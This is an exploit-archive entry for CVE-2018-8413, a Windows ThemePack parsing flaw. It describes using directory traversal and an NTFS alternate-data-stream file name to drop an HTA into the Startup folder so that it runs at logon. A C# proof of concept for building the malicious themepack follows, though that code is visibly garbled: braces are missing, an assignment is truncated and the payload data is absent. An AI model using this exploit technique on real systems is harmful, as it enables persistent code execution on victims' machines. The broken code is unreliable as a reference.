Microsoft Windows 10 - Theme API 'ThemePack' File Parsing







# Exploit Title: Microsoft Windows 10 - Theme API 'ThemePack' File Parsing
# Google Dork: n/a
# Date: 2020-10-28
# Exploit Author: Eduardo Braun Prado
# Vendor Homepage:
# Software Link:
# Version: 10 v.1803 (17134.407)
# Tested on: Windows 7, 8.0, 8.1, 10, Server 2012, Server 2012 R2, Server 2016, Server 2019
# CVE : CVE-2018-8413
# Discovered by: Eduardo Braun Prado


Microsoft 'themepack' files are classic '.theme' files compressed for
sharing over the internet. Theme files
allows users to customize visual aspects of their device, such as icons
for known features like 'My computer'
and 'trash bin' folders, the default screensaver (which by the way
allowed attackers to run '.scr' files located
on shares upon applying a Theme, in the past. Refer to: CVE-2013-0810).
ThemePack file type uses Microsoft 'CAB' format. The parser contains a
vulnerability that allows attackers
to create arbitrary files on arbitrary locations on the user´s system,
by using the classic
'parent directory' technique, and thus could lead to creation of some
executable files on the
startup folder. This executable will be run on next logon.


1) The 'themepack' file must contain a valid '[dot] theme' file.

The parser allows creating '.theme' files on arbitrary locations, but
the extension must be
'.theme'. There´s a trick, though, to overcome this:

NTFS Alternate Data Streams.

By using a specially crafted name like "abc.hta:[dot] theme" it´s
possible to trick the parser into
dropping a file with an '[dot] hta' extension instead of the legitimate
'[dot] theme', potentially allowing
attackers to compromise the affected systems. The '[dot] hta' extension
is a good choice since you can
merge valid code with arbitrary text or binary files.

Note: Patched on October, 2018 Microsoft monthly patch.


Proof of concept code that drops an 'hta' file to startup dir.


 - Create a new project on MS Visual Studio (any version, included free
ones like 'Express'), choose 'Console Application'

and at 'program . cs' replace the code with the code below

Note: Source code targets dot NET 4.0 and up (previous versions might
work fine though!)

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ThemePack
    class Program
        static void Main(string[] args)
            String exeDir = AppDomain.CurrentDomain.BaseDirectory;

            string tmpPath = Path.GetTempPath();

            string tpd =
           string tpf = exeDir + "\\C00L.themepack";

\n Microsoft Windows Theme API 'ThemePack' File Parsing Vulnerability
PoC (CVE-2018-8413)  \n\n by: Eduardo Braun Prado \n\n

            StreamWriter s = File.CreateText(tmpPath + "\\themepack000.h");


            FileStream f = File.OpenRead(tmpPath + "\\themepack000.h");

            String ax = "";

            byte[] b = new byte[f.Length];

            UTF8Encoding temp = new UTF8Encoding(false);

            while (f.Read(b, 0, b.Length) > 0)
                ax = ax + temp.GetString(b);

            String bx = ax.ToString();
            String cx = "";

            byte[] b02 = new byte[f.Length / 2];
            for (int i = 0; i < f.Length; i += 2)
                cx = bx.Substring(i, 2);
                b02[i / 2] = Convert.ToByte(cx, 16);

            File.WriteAllBytes(tpf, b02);

            if (File.Exists(tpf))
                long fsize = new FileInfo(tpf).Length;

                if (fsize != 0)
                    Console.WriteLine("\n\n\n Done! 'C00L." +
"themepack' file created in the current directory. Vulnerable systems
should plant an HTA on startup dir.");